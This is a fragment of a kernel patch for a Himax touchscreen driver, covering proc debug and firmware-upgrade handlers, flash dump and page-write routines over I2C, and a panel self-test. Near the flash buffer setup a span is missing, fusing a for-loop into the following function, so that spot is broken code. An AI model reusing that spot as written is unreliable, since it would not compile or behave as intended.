+ ret, "IC Type : ES\n"); + } + else + { + ret += sprintf(buf + ret, "IC Type error.\n"); + } + + if (IC_CHECKSUM == HX_TP_BIN_CHECKSUM_SW) + { + ret += sprintf(buf + ret, "IC Checksum : SW\n"); + } + else if (IC_CHECKSUM == HX_TP_BIN_CHECKSUM_HW) + { + ret += sprintf(buf + ret, "IC Checksum : HW\n"); + } + else if (IC_CHECKSUM == HX_TP_BIN_CHECKSUM_CRC) + { + ret += sprintf(buf + ret, "IC Checksum : CRC\n"); + } + else + { + ret += sprintf(buf + ret, "IC Checksum error.\n"); + } + + if (HX_INT_IS_EDGE) + { + ret += sprintf(buf + ret, "Interrupt : EDGE TIRGGER\n"); + } + else + { + ret += sprintf(buf + ret, "Interrupt : LEVEL TRIGGER\n"); + } + + ret += sprintf(buf + ret, "RX Num : %d\n",HX_RX_NUM); + ret += sprintf(buf + ret, "TX Num : %d\n",HX_TX_NUM); + ret += sprintf(buf + ret, "BT Num : %d\n",HX_BT_NUM); + ret += sprintf(buf + ret, "X Resolution : %d\n",HX_X_RES); + ret += sprintf(buf + ret, "Y Resolution : %d\n",HX_Y_RES); + ret += sprintf(buf + ret, "Max Point : %d\n",HX_MAX_PT); +#ifdef HX_TP_PROC_2T2R + if (Is_2T2R) + { + ret += sprintf(buf + ret, "2T2R panel\n"); + ret += sprintf(buf + ret, "RX Num_2 : %d\n",HX_RX_NUM_2); + ret += sprintf(buf + ret, "TX Num_2 : %d\n",HX_TX_NUM_2); + } +#endif + } + + else if (debug_level_cmd == 'i') + { + ret += sprintf(buf + ret, "Himax Touch Driver Version:\n"); + ret += sprintf(buf + ret, "%s \n", HIMAX_DRIVER_VER); + } + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + return ret; +} + +static ssize_t himax_debug_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct file* hx_filp = NULL; + mm_segment_t oldfs; + int result = 0; + char fileName[128]; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + if (buf[0] == 'h') //handshaking + { + debug_level_cmd = buf[0]; + + himax_int_enable(private_ts->client->irq, 0, true); + + handshaking_result = himax_hand_shaking(); //0:Running, 1:Stop, 2:I2C Fail + + himax_int_enable(private_ts->client->irq, 1, true); + + return len; + } + + else if (buf[0] == 'v') //firmware version + { + debug_level_cmd = buf[0]; + himax_read_FW_ver(true); + return len; + } + + else if (buf[0] == 'd') //test + { + debug_level_cmd = buf[0]; + return len; + } + + else if (buf[0] == 'i') //driver version + { + debug_level_cmd = buf[0]; + return len; + } + + else if (buf[0] == 't') + { + + himax_int_enable(private_ts->client->irq, 0, true); + wake_lock(&private_ts->ts_flash_wake_lock); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + cancel_delayed_work_sync(&private_ts->himax_chip_monitor); +#endif + + debug_level_cmd = buf[0]; + fw_update_complete = false; + + memset(fileName, 0, 128); + // parse the file name + snprintf(fileName, len-2, "%s", &buf[2]); + I("%s: upgrade from file(%s) start!\n", __func__, fileName); + // open file + hx_filp = filp_open(fileName, O_RDONLY, 0); + if (IS_ERR(hx_filp)) + { + E("%s: open firmware file failed\n", __func__); + goto firmware_upgrade_done; + //return len; + } + oldfs = get_fs(); + set_fs(get_ds()); + + // read the latest firmware binary file + result=hx_filp->f_op->read(hx_filp,upgrade_fw, sizeof(upgrade_fw), &hx_filp->f_pos); + if (result < 0) + { + E("%s: read firmware file failed\n", __func__); + goto firmware_upgrade_done; + //return len; + } + + set_fs(oldfs); + filp_close(hx_filp, NULL); + + I("%s: upgrade start,len %d: %02X, %02X, %02X, %02X\n", __func__, result, upgrade_fw[0], upgrade_fw[1], upgrade_fw[2], upgrade_fw[3]); + + if (result > 0) + { + // start to upgrade +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(false, true); +#endif + if (fts_ctpm_fw_upgrade_with_fs(upgrade_fw, result, true) == 0) + { + E("%s: TP upgrade error, line: %d\n", __func__, __LINE__); + fw_update_complete = false; + } + else + { + I("%s: TP upgrade OK, line: %d\n", __func__, __LINE__); + fw_update_complete = true; + } + goto firmware_upgrade_done; + //return len; + } + } + + firmware_upgrade_done: + +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(true, true); +#endif + wake_unlock(&private_ts->ts_flash_wake_lock); + himax_int_enable(private_ts->client->irq, 1, true); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + queue_delayed_work(private_ts->himax_chip_monitor_wq, &private_ts->himax_chip_monitor, HX_POLLING_TIMES*HZ); +#endif + //todo himax_chip->tp_firmware_upgrade_proceed = 0; + //todo himax_chip->suspend_state = 0; + //todo enable_irq(himax_chip->irq); + return len; +} + +static struct file_operations himax_proc_debug_ops = +{ + .owner = THIS_MODULE, + .read = himax_debug_read, + .write = himax_debug_write, +}; +#endif + +#ifdef HX_TP_PROC_FLASH_DUMP + +static uint8_t getFlashCommand(void) +{ + return flash_command; +} + +static uint8_t getFlashDumpProgress(void) +{ + return flash_progress; +} + +static uint8_t getFlashDumpComplete(void) +{ + return flash_dump_complete; +} + +static uint8_t getFlashDumpFail(void) +{ + return flash_dump_fail; +} + +static uint8_t getSysOperation(void) +{ + return sys_operation; +} + +static uint8_t getFlashReadStep(void) +{ + return flash_read_step; +} + +static uint8_t getFlashDumpSector(void) +{ + return flash_dump_sector; +} + +static uint8_t getFlashDumpPage(void) +{ + return flash_dump_page; +} + +static bool getFlashDumpGoing(void) +{ + return flash_dump_going; +} + +static void setFlashBuffer(void) +{ + //int i = 0; + flash_buffer = kzalloc(FLASH_SIZE * sizeof(uint8_t), GFP_KERNEL); + memset(flash_buffer, 0x00,FLASH_SIZE); + //for (i = 0; iclient->irq, 0, true); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + cancel_delayed_work_sync(&private_ts->himax_chip_monitor); +#endif + + setFlashDumpGoing(true); + + sector = getFlashDumpSector(); + page = getFlashDumpPage(); + + local_flash_command = getFlashCommand(); + +#ifdef HX_RST_PIN_FUNC + if (local_flash_command<0x0F) + himax_HW_reset(false, true); +#endif + + //if (i2c_himax_master_write(ts->client, xAA_command, 1, 3) < 0 )//sleep out + //{ + // E("%s i2c write AA fail.\n", __func__); + // goto Flash_Dump_i2c_transfer_error; + //} + //msleep(120); + + if (i2c_himax_master_write(ts->client, x81_command, 1, 3) < 0 )//sleep out + { + E("%s i2c write 81 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(120); + if (i2c_himax_master_write(ts->client, x82_command, 1, 3) < 0 ) + { + E("%s i2c write 82 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(100); + + I("%s: local_flash_command = %d enter.\n", __func__,local_flash_command); + + if ((local_flash_command == 1 || local_flash_command == 2)|| (local_flash_command== 0x0F)) + { + x43_command[1] = 0x01; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 1, DEFAULT_RETRY_CNT) < 0) + { + goto Flash_Dump_i2c_transfer_error; + } + msleep(100); + + for ( i = 0 ; i<8 ;i++) + { + for (j=0 ; j<32 ; j++) + { + //I(" Step 2 i=%d , j=%d %s\n", i, j, __func__); + //read page start + for (k=0; k<128; k++) + { + page_tmp[k] = 0x00; + } + for (k=0; k<32; k++) + { + x44_command[1] = k; + x44_command[2] = j; + x44_command[3] = i; + if (i2c_himax_write(ts->client, x44_command[0], &x44_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 44 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + if (i2c_himax_write_command(ts->client, x46_command[0], DEFAULT_RETRY_CNT) < 0) + { + E("%s i2c write 46 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + //msleep(2); + if (i2c_himax_read(ts->client, 0x59, x59_tmp, 4, DEFAULT_RETRY_CNT) < 0) + { + E("%s i2c write 59 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + //msleep(2); + for (l=0; l<4; l++) + { + page_tmp[k*4+l] = x59_tmp[l]; + } + //msleep(20); + } + //read page end + + for (k=0; k<128; k++) + { + flash_buffer[buffer_ptr++] = page_tmp[k]; + + } + setFlashDumpProgress(i*32 + j); + } + } + } + else if (local_flash_command == 3) + { + x43_command[1] = 0x01; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 1, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(100); + + for (i = 0; i < 128; i++) + { + page_tmp[i] = 0x00; + } + + for (i = 0; i<32; i++) + { + x44_command[1] = i; + x44_command[2] = page; + x44_command[3] = sector; + + if (i2c_himax_write(ts->client, x44_command[0], &x44_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 44 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + if (i2c_himax_write_command(ts->client, x46_command[0], DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 46 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + //msleep(2); + if (i2c_himax_read(ts->client, 0x59, x59_tmp, 4, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 59 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + //msleep(2); + for (j=0; j<4; j++) + { + page_tmp[i*4+j] = x59_tmp[j]; + } + //msleep(20); + } + //read page end + for (i = 0; i < 128; i++) + { + flash_buffer[buffer_ptr++] = page_tmp[i]; + } + } + else if (local_flash_command == 4) + { + //page write flow. + //I("%s: local_flash_command = 4, enter.\n", __func__); + + // unlock flash + himax_lock_flash(0); + + msleep(50); + + // page erase + x43_command[1] = 0x01; + x43_command[2] = 0x00; + x43_command[3] = 0x02; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x44_command[1] = 0x00; + x44_command[2] = page; + x44_command[3] = sector; + if (i2c_himax_write(ts->client, x44_command[0], &x44_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 44 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + if (i2c_himax_write_command(ts->client, x4D_command[0], DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 4D fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(100); + + // enter manual mode + + x35_command[1] = 0x01; + if (i2c_himax_write(ts->client, x35_command[0], &x35_command[1], 1, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 35 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + + msleep(100); + + // flash enable + x43_command[1] = 0x01; + x43_command[2] = 0x00; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + // set flash address + x44_command[1] = 0x00; + x44_command[2] = page; + x44_command[3] = sector; + if (i2c_himax_write(ts->client, x44_command[0], &x44_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 44 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + // manual mode command : 47 to latch the flash address when page address change. + x43_command[1] = 0x01; + x43_command[2] = 0x09; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x0D; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x09; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + for (i = 0; i<32; i++) + { + I("himax :i=%d \n",i); + x44_command[1] = i; + x44_command[2] = page; + x44_command[3] = sector; + if (i2c_himax_write(ts->client, x44_command[0], &x44_command[1], 3, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 44 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x45_command[1] = flash_buffer[i*4 + 0]; + x45_command[2] = flash_buffer[i*4 + 1]; + x45_command[3] = flash_buffer[i*4 + 2]; + x45_command[4] = flash_buffer[i*4 + 3]; + if (i2c_himax_write(ts->client, x45_command[0], &x45_command[1], 4, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 45 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + // manual mode command : 48 ,data will be written into flash buffer + x43_command[1] = 0x01; + x43_command[2] = 0x0D; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x09; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + } + + // manual mode command : 49 ,program data from flash buffer to this page + x43_command[1] = 0x01; + x43_command[2] = 0x01; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x05; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x01; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + x43_command[1] = 0x01; + x43_command[2] = 0x00; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 2, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + // flash disable + x43_command[1] = 0x00; + if (i2c_himax_write(ts->client, x43_command[0], &x43_command[1], 1, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 43 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + msleep(20); + + // leave manual mode + x35_command[1] = 0x01; + if (i2c_himax_write(ts->client, x35_command[0], &x35_command[1], 1, DEFAULT_RETRY_CNT) < 0 ) + { + E("%s i2c write 35 fail.\n", __func__); + goto Flash_Dump_i2c_transfer_error; + } + + msleep(20); + + // lock flash + himax_lock_flash(1); + msleep(50); + + buffer_ptr = 128; + I("Himax: Flash page write Complete~~~~~~~~~~~~~~~~~~~~~~~\n"); + } + + I("Complete~~~~~~~~~~~~~~~~~~~~~~~\n"); + if (local_flash_command== 0x01) + { + I(" buffer_ptr = %d \n",buffer_ptr); + + for (i = 0; i < buffer_ptr; i++) + { + I("%2.2X ", flash_buffer[i]); + + if ((i % 16) == 15) + { + I("\n"); + } + } + I("End~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); + } + i2c_himax_master_write(ts->client, x43_command, 1, 3); + msleep(50); + + if (local_flash_command == 2) + { + struct file *fn; + + fn = filp_open(FLASH_DUMP_FILE,O_CREAT | O_WRONLY , 0); + if (!IS_ERR(fn)) + { + fn->f_op->write(fn,flash_buffer,buffer_ptr*sizeof(uint8_t), &fn->f_pos); + filp_close(fn,NULL); + } + } + +#ifdef HX_RST_PIN_FUNC + if (local_flash_command<0x0F) + himax_HW_reset(true, true); +#endif + + himax_int_enable(private_ts->client->irq, 1, true); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + queue_delayed_work(private_ts->himax_chip_monitor_wq, &private_ts->himax_chip_monitor, HX_POLLING_TIMES*HZ); +#endif + setFlashDumpGoing(false); + + setFlashDumpComplete(1); + setSysOperation(0); + return; + + Flash_Dump_i2c_transfer_error: + +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(true, true); +#endif + + himax_int_enable(private_ts->client->irq, 1, true); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + queue_delayed_work(private_ts->himax_chip_monitor_wq, &private_ts->himax_chip_monitor, HX_POLLING_TIMES*HZ); +#endif + setFlashDumpGoing(false); + setFlashDumpComplete(0); + setFlashDumpFail(1); + setSysOperation(0); + return; +} + +static ssize_t himax_flash_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + int ret = 0; + int loop_i; + uint8_t local_flash_read_step=0; + uint8_t local_flash_complete = 0; + uint8_t local_flash_progress = 0; + uint8_t local_flash_command = 0; + uint8_t local_flash_fail = 0; + + local_flash_complete = getFlashDumpComplete(); + local_flash_progress = getFlashDumpProgress(); + local_flash_command = getFlashCommand(); + local_flash_fail = getFlashDumpFail(); + + I("flash_progress = %d \n",local_flash_progress); + if (!HX_PROC_SEND_FLAG) + { + + if (local_flash_fail) + { + ret += sprintf(buf + ret, "FlashStart:Fail \n"); + ret += sprintf(buf + ret, "FlashEnd"); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + return ret; + } + + if (!local_flash_complete) + { + ret += sprintf(buf + ret, "FlashStart:Ongoing:0x%2.2x \n",flash_progress); + ret += sprintf(buf + ret, "FlashEnd"); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + return ret; + } + + if (local_flash_command == 1 && local_flash_complete) + { + ret += sprintf(buf + ret, "FlashStart:Complete \n"); + ret += sprintf(buf + ret, "FlashEnd"); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + return ret; + } + + if (local_flash_command == 3 && local_flash_complete) + { + ret += sprintf(buf + ret, "FlashStart: \n"); + for (loop_i = 0; loop_i < 128; loop_i++) + { + ret += sprintf(buf + ret, "x%2.2x", flash_buffer[loop_i]); + if ((loop_i % 16) == 15) + { + ret += sprintf(buf + ret, "\n"); + } + } + ret += sprintf(buf + ret, "FlashEnd"); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + return ret; + } + + //flash command == 0 , report the data + local_flash_read_step = getFlashReadStep(); + + ret += sprintf(buf + ret, "FlashStart:%2.2x \n",local_flash_read_step); + + for (loop_i = 0; loop_i < 1024; loop_i++) + { + ret += sprintf(buf + ret, "x%2.2X", flash_buffer[local_flash_read_step*1024 + loop_i]); + + if ((loop_i % 16) == 15) + { + ret += sprintf(buf + ret, "\n"); + } + } + + ret += sprintf(buf + ret, "FlashEnd"); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + return ret; +} + +static ssize_t himax_flash_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + char buf_tmp[6]; + unsigned long result = 0; + uint8_t loop_i = 0; + int base = 0; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + memset(buf_tmp, 0x0, sizeof(buf_tmp)); + + I("%s: buf[0] = %s\n", __func__, buf); + + if (getSysOperation() == 1) + { + E("%s: SYS is busy , return!\n", __func__); + return len; + } + + if (buf[0] == '0') + { + setFlashCommand(0); + if (buf[1] == ':' && buf[2] == 'x') + { + memcpy(buf_tmp, buf + 3, 2); + I("%s: read_Step = %s\n", __func__, buf_tmp); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + I("%s: read_Step = %lu \n", __func__, result); + setFlashReadStep(result); + } + } + } + else if (buf[0] == '1') + { + setSysOperation(1); + setFlashCommand(1); + setFlashDumpProgress(0); + setFlashDumpComplete(0); + setFlashDumpFail(0); + queue_work(private_ts->flash_wq, &private_ts->flash_work); + } + else if (buf[0] == '2') + { + setSysOperation(1); + setFlashCommand(2); + setFlashDumpProgress(0); + setFlashDumpComplete(0); + setFlashDumpFail(0); + + queue_work(private_ts->flash_wq, &private_ts->flash_work); + } + else if (buf[0] == '3') + { + setSysOperation(1); + setFlashCommand(3); + setFlashDumpProgress(0); + setFlashDumpComplete(0); + setFlashDumpFail(0); + + memcpy(buf_tmp, buf + 3, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + setFlashDumpSector(result); + } + + memcpy(buf_tmp, buf + 7, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + setFlashDumpPage(result); + } + + queue_work(private_ts->flash_wq, &private_ts->flash_work); + } + else if (buf[0] == '4') + { + I("%s: command 4 enter.\n", __func__); + setSysOperation(1); + setFlashCommand(4); + setFlashDumpProgress(0); + setFlashDumpComplete(0); + setFlashDumpFail(0); + + memcpy(buf_tmp, buf + 3, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + setFlashDumpSector(result); + } + else + { + E("%s: command 4 , sector error.\n", __func__); + return len; + } + + memcpy(buf_tmp, buf + 7, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + setFlashDumpPage(result); + } + else + { + E("%s: command 4 , page error.\n", __func__); + return len; + } + + base = 11; + + I("=========Himax flash page buffer start=========\n"); + for (loop_i = 0;loop_i < 128;loop_i++) + { + memcpy(buf_tmp, buf + base, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + { + flash_buffer[loop_i] = result; + I("%d ",flash_buffer[loop_i]); + if (loop_i % 16 == 15) + { + I("\n"); + } + } + base += 3; + } + I("=========Himax flash page buffer end=========\n"); + + queue_work(private_ts->flash_wq, &private_ts->flash_work); + } + return len; +} + +static struct file_operations himax_proc_flash_ops = +{ + .owner = THIS_MODULE, + .read = himax_flash_read, + .write = himax_flash_write, +}; +#endif + +#ifdef HX_TP_SELF_TEST_DRIVER +static uint8_t Self_Test_Bank(uint8_t *RB1H) +{ + uint8_t i; + uint32_t bank_sum, m; + uint8_t bank_avg; + uint8_t bank_ulmt, bank_dlmt; + uint8_t bank_min, bank_max; + uint8_t slf_tx_fail_cnt, slf_rx_fail_cnt; + uint8_t mut_fail_cnt; + int fail_flag; + uint8_t bank_val_tmp; + + uint8_t set_bnk_ulmt; + uint8_t set_bnk_dlmt; + uint8_t set_avg_bnk_ulmt; + uint8_t set_avg_bnk_dlmt; + uint8_t set_slf_bnk_ulmt; + uint8_t set_slf_bnk_dlmt; + uint16_t mutual_num, self_num; + uint8_t command_F1h_bank[2] = {0xF1, 0x03}; + + //=============================== Get Bank value Start=============================== + I("Start self_test\n"); + + mutual_num = x_channel * y_channel; + self_num = x_channel + y_channel; //don't add KEY_COUNT + + mutual_bank = kzalloc(mutual_num * sizeof(uint8_t), GFP_KERNEL); + self_bank = kzalloc(self_num * sizeof(uint8_t), GFP_KERNEL); + memset(mutual_bank, 0xFF, mutual_num * sizeof(uint8_t)); + memset(self_bank, 0xFF, self_num * sizeof(uint8_t)); + + I(" x_channel = %d, y_channel = %d \n",x_channel, y_channel); + I(" mutual_num = %d, self_num = %d \n",mutual_num, self_num); + I(" Selftest_flag = %d \n",Selftest_flag); + + i2c_himax_write(private_ts->client, command_F1h_bank[0] , &command_F1h_bank[1], 1, DEFAULT_RETRY_CNT); + msleep(200); + command_F1h_bank[1] = 0x00; + i2c_himax_write(private_ts->client, command_F1h_bank[0] , &command_F1h_bank[1], 1, DEFAULT_RETRY_CNT); + msleep(20); + //=============================== Get Bank value End=============================== + + if (RB1H[0] == 0) + { + I(" Enter Test flow \n"); + set_bnk_ulmt = RB1H[2]; + set_bnk_dlmt = RB1H[3]; + set_avg_bnk_ulmt = RB1H[4]; + set_avg_bnk_dlmt = RB1H[5]; + set_slf_bnk_ulmt = RB1H[6]; //Increase @ 2012/05/24 for weak open/short + set_slf_bnk_dlmt = RB1H[7]; + + fail_flag = 0; + bank_sum = 0; + bank_avg = 0; + mut_fail_cnt = 0; + + //Calculate Bank Average + for (m = 0; m < mutual_num; m++) { + bank_sum += mutual_bank[m]; + } + I(" bank_sum = %d \n", bank_sum); + bank_avg = (bank_sum / mutual_num); + I(" bank_avg = %d \n", bank_avg); + //======Condition 1======Check average bank with absolute value + if ((bank_avg > set_avg_bnk_ulmt) || (bank_avg < set_avg_bnk_dlmt)) + fail_flag = 1; + I(" fail_flag = %d\n", fail_flag); + if (fail_flag) + { + RB1H[0] = 0xF1; //Fail ID for Condition 1 + RB1H[1] = bank_avg; + RB1H[2] = set_avg_bnk_ulmt; + RB1H[3] = set_avg_bnk_dlmt; + RB1H[4] = 0xFF; + for (i = 0;i < 8; i++) { + I(" RB1H[%d] = %X \n", i, RB1H[i]); + } + } + else + { + //======Condition 2======Check every block's bank with average value + if ((bank_avg + set_bnk_ulmt) > 245) + bank_ulmt = 245; + else + bank_ulmt = bank_avg + set_bnk_ulmt; + + if (bank_avg > set_bnk_dlmt) + { + bank_dlmt = bank_avg - set_bnk_dlmt; + if (bank_dlmt < 10) + bank_dlmt = 10; + } + else + bank_dlmt = 10; + bank_min = 0xFF; + bank_max = 0x00; + I(" bank_ulmt = %d, bank_dlmt = %d \n", bank_ulmt, bank_dlmt); + for (m = 0; m < mutual_num; m++) + { + bank_val_tmp = mutual_bank[m]; + if ((bank_val_tmp > bank_ulmt) || (bank_val_tmp < bank_dlmt)) + { + fail_flag = 1; + mut_fail_cnt++; + } + + //Bank information record + if (bank_val_tmp > bank_max) + bank_max = bank_val_tmp; + else if (bank_val_tmp < bank_min) + bank_min = bank_val_tmp; + } + I(" fail_flag = %d, mut_fail_cnt = %d \n", fail_flag, mut_fail_cnt); + if (fail_flag) + { + RB1H[0] = 0xF2; //Fail ID for Condition 2 + RB1H[1] = mut_fail_cnt; + RB1H[2] = bank_avg; + RB1H[3] = bank_max; + RB1H[4] = bank_min; + RB1H[5] = bank_ulmt; + RB1H[6] = bank_dlmt; + RB1H[7] = 0xFF; + for (i = 0;i < 8; i++) { + I(" RB1H[%d] = %X \n", i, RB1H[i]); + } + for (m = 0; m < mutual_num; m++) { + I(" mutual_bank[%d] = %X \n", m, mutual_bank[m]); + } + for (m = 0; m < self_num; m++) { + I(" self_bank[%d] = %X \n", m, self_bank[m]); + } + } + else + { + //======Condition 3======Check every self channel bank + slf_rx_fail_cnt = 0x00; //Check SELF RX BANK + slf_tx_fail_cnt = 0x00; //Check SELF TX BANK + for (i = 0; i < (x_channel + y_channel); i++) + { + bank_val_tmp = self_bank[i]; + if ((bank_val_tmp > set_slf_bnk_ulmt) || + (bank_val_tmp < set_slf_bnk_dlmt)) + { + fail_flag = 1; + if (i < x_channel) + slf_rx_fail_cnt++; + else + slf_tx_fail_cnt++; + } + } + I(" slf_rx_fail_cnt = %d, slf_tx_fail_cnt = %d \n", slf_rx_fail_cnt, slf_tx_fail_cnt); + if (fail_flag) + { + RB1H[0] = 0xF3; //Fail ID for Condition 3 + RB1H[1] = slf_rx_fail_cnt; + RB1H[2] = slf_tx_fail_cnt; + RB1H[3] = set_slf_bnk_ulmt; + RB1H[4] = set_slf_bnk_dlmt; + RB1H[5] = 0xFF; + for (i = 0;i < 8; i++) { + I(" RB1H[%d] = %X \n", i, RB1H[i]); + } + for (m = 0; m < mutual_num; m++) { + I(" mutual_bank[%d] = %X \n", m, mutual_bank[m]); + } + for (m = 0; m < self_num; m++) { + I(" self_bank[%d] = %X \n", m, self_bank[m]); + } + } + else + { + RB1H[0] = 0xAA; ////PASS ID + RB1H[1] = bank_avg; + RB1H[2] = bank_max; + RB1H[3] = bank_min; + } + } + } + } + kfree(mutual_bank); + kfree(self_bank); + return RB1H[0]; +} +#endif + +#ifdef HX_TP_PROC_SELF_TEST +static int himax_chip_self_test(void) +{ + uint8_t cmdbuf[11]; + uint8_t valuebuf[16]; + int pf_value=0x00; +#ifdef HX_TP_SELF_TEST_DRIVER + uint8_t RB1H[8]; +#else + int i = 0; +#endif + + memset(cmdbuf, 0x00, sizeof(cmdbuf)); + memset(valuebuf, 0x00, sizeof(valuebuf)); +#ifdef HX_TP_SELF_TEST_DRIVER + memset(RB1H, 0x00, sizeof(RB1H)); + + + Selftest_flag = 1; + diag_command = 0x03; + himax_int_enable(private_ts->client->irq, 1, true); + //Get Criteria + i2c_himax_read(private_ts->client, 0xB1, RB1H, 8, DEFAULT_RETRY_CNT); + msleep(20); +#else + cmdbuf[0] = 0x06; + i2c_himax_write(private_ts->client, 0xF1, &cmdbuf[0], 1, DEFAULT_RETRY_CNT); + msleep(120); +#endif + i2c_himax_write(private_ts->client, HX_CMD_TSSON, &cmdbuf[0], 0, DEFAULT_RETRY_CNT); + msleep(120); + + i2c_himax_write(private_ts->client, HX_CMD_TSSLPOUT, &cmdbuf[0], 0, DEFAULT_RETRY_CNT); +#ifdef HX_TP_SELF_TEST_DRIVER + msleep(120); + valuebuf[0] = Self_Test_Bank(&RB1H[0]); +#else + msleep(2000); +#endif + + i2c_himax_write(private_ts->client, HX_CMD_TSSOFF, 